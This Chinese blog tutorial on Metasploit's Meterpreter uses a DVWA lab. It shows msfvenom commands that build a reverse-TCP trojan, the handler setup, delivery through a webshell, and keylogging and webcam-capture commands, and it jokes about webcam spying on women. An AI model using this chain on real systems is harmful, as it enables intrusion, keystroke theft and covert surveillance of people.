Metasploit入門系列(八)——Meterpreter(一)
上次有小夥伴私信我,想看關於Armitage在Windows平臺下的使用,這裡簡單解釋下,Armitage你可以把它看作一個殼,你的所有操作其實還是使用的msfconsole介面的命令列,我也安裝過windows下的msf,但實在用的不是很習慣,想想還要自己配開源資料庫postgresql,腦瓜疼,雖然我也提到Armitage確實提供了多平臺版本,但為一個gui實在沒必要太折騰。
明明鳥兒已經為你配置好啦一切,儘量還是放到linux上來吧。
小鳥用的好,局子進的早,嚶。
本期我們來簡單介紹Meterpreter的一條龍使用,在後面的章節了我們會展開介紹Meterpreter下的基本命令及騷操作。
首先我們要明確一點,Meterpreter生成的payload,咳咳,木馬就木馬嘛,叫的那麼好聽QAQ。。。需要在目標伺服器上成功執行是我們後續工作的基礎,這就牽扯到了免殺的問題;然後目標伺服器可能存在於內網內,並不具備公網ip,這就牽扯到了反彈shell的問題;再然後作為攻擊者的你如果身處內網,如果你不具備路由管理的許可權,然而又需要一個公網IP,那就牽扯到了反向代理的問題……
然後是跟團隊大佬求證過的一個場景問題。如果我們是通過webshell上傳的payload,那就牽扯到了提權的問題;如果我們是通過類似永恆之藍等伺服器漏洞拿到的shell,對於win7以上版本,可以考慮藉助power shell下載我們放置於公網的payload,而對於純cmd命令列環境,我們需要,,emmm,,嘗試提權遠端吧,如果你不嫌動靜大的話;咳咳,或者乾脆物理hack瞭解一下~
所以,我為什麼要碰Meterpreter這個大坑!!!想想後邊的內容都腦瓜疼= =。
今天呢,我們就來介紹下針對web應用的msf一條龍搞事情~
眼熟一下~此次的上傳點選擇DVWA吧,所在伺服器是一臺Windows server 2008R2。
成功上傳webshell並上傳,,,,,唉?我在幹啥?我在哪?忘做木馬啦[email protected]。@
在很多相關教程中,大家可能看到如下命令:'msfpayload'(荷載生成器),'msfencoder'(編碼器),'msfcli'(監聽介面),這隻能說,你看的教程可能過期了,如今的msf講上述命令統一歸置到了'msfvenom' 中。
此次我們的伺服器目標十分明確,所以我們選擇了針對Windows系統基於TCP的反彈shell:windows/meterpreter/reverse_tcp
使用msfvenom 生成我們所需要的payload:
msfvenom -p windows/meterpreter/reverse_tcp lhost=172.16.222.77 lport=1988 -f exe -o rabbit.exe
其次,我們需要在msf中配置對應的payload服務端,使用exploit/multi/handler模組:
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp ##此次為所使用payload模組
set lhost 172.16.222.77 ##同payload設定內容
set lport 1988 ##同payload設定內容
剛剛我們也提到了,這是反向shell,所以在執行後我們講開啟懟本地所設定埠的監聽,等待木馬上線。
回到我們webshell的二次上傳工作:
通過webshell執行木馬。
我們可以看到,客戶端已經上線,已拿到目標伺服器shell。
我們之前就提到過,Meterpreter是一種特殊的shell code(payload),它究竟有多麼強大呢?
#screenshot 螢幕截圖
#keyscan_start 鍵盤記錄開啟
#keyscan_stop 鍵盤記錄關閉
#keyscan_dump 用於檢視鍵盤記錄期間抓取到的內容
#getsystem 獲得系統管理員許可權
#sysinfo 計算機作業系統和名稱等的詳細資訊
#webcam_snap #通過攝像頭拍照,emmm,算了,偶爾爆次照吧。
#webcam_stream #通過攝像頭開啟視訊,emmm,這個不掩飾啦,簡直撩小姐姐必備。
當然啦,Meterpreter的功能遠遠不止這些。關於它的針對不同系統不同協議的不同模組,以及各種常用命令介紹,我們放在後續的章節。真心希望更多的小夥伴可以受益於此。